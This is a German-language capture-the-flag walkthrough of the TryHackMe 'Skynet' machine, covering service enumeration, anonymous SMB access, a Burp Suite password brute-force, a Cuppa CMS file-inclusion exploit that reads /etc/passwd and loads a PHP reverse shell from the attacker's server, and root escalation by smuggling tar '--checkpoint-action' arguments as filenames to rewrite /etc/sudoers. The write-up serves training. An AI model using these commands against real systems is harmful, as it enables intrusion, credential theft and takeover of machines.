Skynet – Tryhackme – Handbuchbeschreibung

Reading Time: ( Word Count: )

Februar 23, 2021
Nextdoorsec-course

Intro

Die Skynet-Maschine deckt die folgenden Themen ab:

  • Anfälliger smb-Server
  • Squirrelmail brute-forcing mit Burpsuite
  • Lokale/entfernte Dateieinbindung
  • Ausnutzung von Wildcards unter Linux

Aufzählung

Nmap

Beginnen Sie mit einem Nmap-Scan:

┌──(kali㉿kali)-[~] └─$ nmap -v -A $IP
PORT ZUSTAND SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; Protokoll 2.0) | ssh-hostkey: | 2048 99:23:31:bb:b1:e9:43:b7:56:94:4c:b9:e8:21:46:c5 (RSA) | 256 57:c0:75:02:71:2d:19:31:83:db:e4:fe:67:96:68:cf (ECDSA) |_ 256 46:fa:4e:fc:10:a5:4f:57:57:d0:6d:54:f6:c3:4d:fe (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | http-methods: |_ Unterstützte Methoden: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Skynet 110/tcp öffnen pop3 Dovecot pop3d |_pop3-capabilities: RESP-CODES PIPELINING TOP UIDL AUTH-RESP-CODE SASL CAPA 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (Arbeitsgruppe: WORKGROUP) 143/tcp open imap Dovecot imapd |_imap-capabilities: Pre-login OK LOGIN-REFERRALS IMAP4rev1 ID more ENABLE listed LOGINDISABLEDA0001 have IDLE post-login LITERAL+ SASL-IR capabilities 445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (Arbeitsgruppe: WORKGROUP) Dienstinfo: Host: SKYNET; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Wir haben interessante offene Ports entdeckt: einen Pop3-Server an Port 110, einen IMAP-Mailserver an Port 143, einen offenen http-Server an seinem Standardport und einen Samba-Server, der das SMB-Protokoll unterstützt. SMB hat zwei Ports, 445 und 139.

Ursprünglich lief SMB über NetBIOS unter Verwendung von Port 139, aber da NetBIOS eine ältere Transportschicht für Windows-Computer ist, wurde Port 445 nach Windows 2000 an dessen Stelle gesetzt. Jetzt läuft es auf einem TCP-Stack, der es SMB ermöglicht, über das Internet zu arbeiten.

Gobuster

Der http-Webserver enthält nichts Interessantes, also suchen wir mit dem Brute-Force-Verfahren nach anderen Verzeichnissen:

┌──(kali㉿kali)-[~] └─$ gobuster dir -u http://$IP/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e -r
=============================================================== http://10.10.176.19/admin (Status: 403) http://10.10.176.19/css (Status: 403) http://10.10.176.19/js (Status: 403) http://10.10.176.19/config (Status: 403) http://10.10.176.19/ai (Status: 403) http://10.10.176.19/squirrelmail (Status: 200) ===============================================================

Wir haben eine Anmeldeseite für SquirrelMail entdeckt, brauchen aber noch Zugangsdaten.

 

Samba

Lassen Sie uns den Samba-Server mit Nmap-Skripten auflisten:

┌──(kali㉿kali)-[~] └─$ nmap -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse $IP
PORT STATE SERVICE 445/tcp open microsoft-ds Ergebnisse des Host-Skripts: | smb-enum-shares: | account_used: Gast .10.176.19\IPC$: | Typ: STYPE_IPC_HIDDEN | Kommentar: IPC-Dienst (Skynet-Server (Samba, Ubuntu)) | Benutzer: 2 | Max. Benutzer: | Pfad: C:\tmp | Anonymer Zugriff: READ/WRITE | Aktueller Benutzerzugang: READ/WRITE | .10.176.19\anonymous: | Typ: STYPE_DISKTREE | Kommentar: Skynet Anonymous Aktie | Benutzer: 0 | Max. Benutzer: | Pfad: C:\srv\samba | Anonymer Zugriff: READ/WRITE | Aktueller Benutzerzugang: READ/WRITE .10.176.19\milesdyson: | Typ: STYPE_DISKTREE | Kommentar: Miles Dyson Personal Share | Benutzer: 0 | Max. Benutzer: | Pfad: C:\home\milesdyson\share | Anonymer Zugriff: | Aktueller Benutzerzugang: | .10.176.19\print$: | Type: STYPE_DISKTREE | Kommentar: Druckertreiber | Benutzer: 0 | Max Users: | Pfad: C:\var\lib\samba\printers | Anonymer Zugriff: |_ Aktueller Benutzerzugang: | smb-enum-users: | SKYNET\milesdyson (RID: 1000) | Vollständiger Name: | Beschreibung: |_ Flags: Normales Benutzerkonto

Anonymer Zugriff scheint erlaubt zu sein; fügen wir in unseren Notizen auch den Benutzer „milesdyson“ hinzu.

┌──(kali㉿kali)-[~] └─$ smbclient //$IP/anonymous smb: \> cd logs smb: \logs\> ls . D 0 Wed Sep 18 06:42:16 2019 ... D 0 Thu Nov 26 17:04:00 2020 log2.txt N 0 Wed Sep 18 06:42:13 2019 log1.txt N 471 Wed Sep 18 06:41:59 2019 log3.txt N 0 Wed Sep 18 06:42:16 2019

Eines der Protokolle enthält interessante Passwörter. Lassen Sie uns die Datei zur späteren Verwendung lokal speichern.

Oben haben wir eine SMB-Freigabe mit dem Namen milesdyson gefunden; mit diesen Informationen können wir den Mailserver aushebeln.

Ausbeutung

Burpsuite

1. Erfassen der Anfrage in Burpsuite
2. An Eindringling senden (Strg+I)
3. Kennwortfeld im Bereich/Position für Brute-Forcing hinzufügen
4. Wählen Sie den Angriffstyp Sniper, laden Sie die Datei mit den gefundenen Passwörtern und starten Sie den Angriff.
5. Achten Sie auf HTTP-Antwortcodes, die sich von den anderen abheben

 

Jetzt, wo wir das Passwort haben, können wir uns einloggen und prüfen, was wir sonst noch finden können:

Das ist das Passwort für die Freigabe unseres Benutzers; wir können es verwenden, um auf seine Samba-Freigabe zuzugreifen:

┌──(kali㉿kali)-[~] └─$ smbclient //$IP/milesdyson --user milesdyson
smb: \notes\> ls . D 0 Tue Sep 17 11:18:40 2019 .. D 0 Tue Sep 17 11:05:47 2019 3.01 Suche.md N 65601 Tue Sep 17 11:01:29 2019 4.01 Agentenbasierte Modelle.md N 5683 Tue Sep 17 11:01:29 2019 2.08 In der Praxis.md N 7949 Tue Sep 17 11:01:29 2019 0.00 Cover.md N 3114 Tue Sep 17 11:01:29 2019 1.02 Lineare Algebra.md N 70314 Tue Sep 17 11:01:29 2019 wichtig.txt N 117 Tue Sep 17 11:18:39 2019 6.01 pandas.md N 9221 Tue Sep 17 11:01:29 2019 3.00 Künstliche Intelligenz.md N 33 Tue Sep 17 11:01:29 2019 2.01 Übersicht.md N 1165 Tue Sep 17 11:01:29 2019 ... Aufforderung rekursieren mget *

 

Das Öffnen der Datei important.txt offenbart ein verstecktes Verzeichnis:

┌──(kali㉿kali)-[~] └─$ cat important.txt
1. Hinzufügen von Funktionen zum Beta-CMS /45kra24zxs28v3yd 2. Arbeite an T-800 Modell 101 Blaupausen 3. Verbringe mehr Zeit mit meiner Frau

 

Schauen wir uns das CMS in diesem versteckten Verzeichnis an:

Es gibt nicht viel zu sehen, aber wahrscheinlich gibt es eine Anmeldeseite, da es sich um ein Content Management System (CMS) handelt; lassen Sie uns nach anderen Verzeichnissen suchen.

┌──(kali㉿kali)-[~] └─$ gobuster dir -u http://$IP/45kra24zxs28v3yd/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e -r
http://10.10.167.244/45kra24zxs28v3yd/administrator (Status: 200)

 

Wir haben die Anmeldeseite gefunden:

 

Ein Blick in den Quellcode gibt keinen Aufschluss über die CMS-Version. Ich habe noch in searchsploit nach etwas Interessantem gesucht:

┌──(kali㉿kali)-[~] └─$ searchsploit cuppa
------------------------------------------------------------------------------ --------------------------------- Exploit-Titel | Pfad ------------------------------------------------------------------------------ --------------------------------- Cuppa CMS - '/alertConfigField.php' Local/Remote File Inclusion | php/webapps/25971.txt ------------------------------------------------------------------------------ ---------------------------------

Es handelt sich um eine RFI/LFI-Schwachstelle, was bedeutet, dass wir mit dieser Schwachstelle lokale oder entfernte PHP-Dateien (meistens) einschließen oder Nicht-PHP-Dateien lesen können. Bei LFI muss der Angreifer das bösartige Skript auf den Zielserver hochladen, damit es lokal ausgeführt werden kann.

┌──(kali㉿kali)-[~] └─$ http://10.10.167.244/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync Spiele:x:5:60:Spiele:/usr/Spiele:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin ...

 

Nun wollen wir sie benutzen, um eine umgekehrte Shell zu erhalten. Zuerst müssen wir einen Listener starten, dann den lokalen http-Server und anschließend das PHP-Skript von dort aus aufrufen:

┌──(kali㉿kali)-[~] └─$ sudo nc -nlvp 443
┌──(kali㉿kali)-[~] └─$ python3 -m http.server 5300
┌──(kali㉿kali)-[~] └─$ http://10.10.167.244/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.8.152.221:5300/revsh.php

Wenn Sie Kali Linux verwenden, sollten Sie ein Reverse-PHP-Skript lokal im folgenden Ordner zur Verfügung haben:
/usr/share/webshells/php/php-reverse-shell.php. Kopieren Sie es und ändern Sie die IP-Adresse und die Portnummer, mit der Sie sich wieder verbinden wollen.

Weiterhören [any] 443 ... verbinden mit [10 .8.152.221] von (UNBEKANNT) [10 .10.167.244] 38510 Linux skynet 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux 10:46:22 up 38 min, 0 Benutzer, Durchschnittliche Belastung: 0.00, 0.00, 0.00 BENUTZER TTY VON LOGIN@ IDLE JCPU PCPU WAS uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: kann nicht auf tty zugreifen; Jobkontrolle ausgeschaltet $ whoami www-daten

Jetzt, wo wir das Benutzerflag haben. Eskalieren wir die Privilegien!

Privilegieneskalation

Wildcard ausnutzen

Ich habe keine SUID-Bit-fähigen Binärdateien gefunden. Ich habe versucht, die etc/shadow Datei, ohne Erfolg. Nach einigen weiteren Aufzählungen habe ich einen ungewöhnlichen Cronjob gefunden, der jede Minute läuft:

┌──(kali㉿kali)-[~] └─$ cat /etc/crontab
# /etc/crontab: systemweite crontab # Anders als bei jeder anderen crontab müssen Sie nicht den Befehl `crontab' # ausführen, um die neue Version zu installieren, wenn Sie diese Datei # und Dateien in /etc/cron.d bearbeiten. Diese Dateien enthalten auch Felder für Benutzernamen, # die in keinem der anderen Crontabs vorhanden sind. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command */1 * * * * root /home/milesdyson/backups/backup.sh 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) #

 

Schauen wir es uns an:

$ cat backup.sh #!/bin/bash cd /var/www/html tar cf /home/milesdyson/backups/backup.tgz *

/bin/bash ruft eine Shell als root auf, wie in
etc/crontab
auf, wechselt dann in das Verzeichnis /var/www/html und erstellt ein Backup/Archiv von allem, was sich in diesem Verzeichnis befindet, mit
tar
.

Das Sternchen am Ende des tar-Befehls ist als Platzhalter bekannt und bedeutet „alle“. Das Sternchen kann für verschiedene Zwecke verwendet werden, z. B. ls *.py das heißt, alle Dateien mit der .py Erweiterung. Alles, was wir in /var/www/html ablegen, wird zu der von tar erzeugten komprimierten Datei hinzugefügt.

Es gibt mehrere Möglichkeiten, dies auszunutzen, nehmen wir die einfachste. Wir fügen uns in die Liste der etc/sudoers Datei und so können wir jeden Befehl mit sudo ausführen, wie z. B. sudo bash, um eine Root-Shell zu erhalten. In einem einfachen Befehl dargestellt, ist dies das, was wir zu erreichen versuchen:

┌──(kali㉿kali)-[~] └─$ echo "www-data ALL=(root) NOPASSWD: ALL" > /etc/sudoers

 

Um die folgenden beiden Befehle, die für die Privilegienerweiterung verwendet werden, besser zu verstehen, schauen wir uns die Handbuchseite von tar an:

┌──(kali㉿kali)-[~] └─$ man tar
Informative Ausgabe --checkpoint[=N] Anzeige von Fortschrittsmeldungen für jeden N-ten Datensatz (Standard 10). --checkpoint-action=ACTION Führen Sie ACTION an jedem Prüfpunkt aus.

Der Platzhalter bedeutet, dass wir eine einfache Argumentinjektion durchführen können, indem wir die benötigten Argumente als Dateinamen schreiben und Checkpoint-Aktionen zur Ausführung von Befehlen verwenden.

$ cd var/www/html
$ echo 'echo "www-data ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > root.sh
$ echo "var/www/html" > "--checkpoint-action=exec=sh root.sh"
$ echo "var/www/html" > --checkpoint=1
$ sudo bash whoami root

Wenn sie in einfache Anführungszeichen gesetzt werden ('), hat kein Zeichen in dem einfachen Anführungszeichen eine besondere Bedeutung. Während doppelte Anführungszeichen (") erlauben es der Shell, das Dollarzeichen ($), Backtick(`), Backslash(\) und Ausrufezeichen(!).

Aydan

Aydan

Author

Aydan, a cybersecurity ace and AI visionary, thrives on the frontlines of offensive security. His passion birthed NextdoorSec, a groundbreaking cybersecurity firm. A relentless pioneer, Aydan is persistently pushing boundaries, shaping the future of the digital world one byte at a time.

Other interesting articles

Die wichtigsten AI-Cybersicherheitsunternehmen im Jahr 2023

Künstliche Intelligenz (KI) hat sich als leistungsfähiges Instrument für die Cybersicherheit erwiesen. Da ...

60 Chat-GPT-Fragen zur Cybersicherheit von Experten

Chat GPT, das auf fortschrittlichen Techniken zur Verarbeitung natürlicher Sprache und künstlicher Intelligenz ...

Penetrationstests vs. Sicherheitstests: Enträtselung der Unterschiede

In der heutigen, zunehmend vernetzten Welt ist die Gewährleistung der Sicherheit digitaler Systeme und Netze von ...

Interne vs. externe Penetrationstests: Die richtige Wahl treffen

Penetrationstests, oft auch Pen-Tests genannt, sind für die Sicherheit und Widerstandsfähigkeit von ...
0 Kommentare

Einen Kommentar abschicken

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert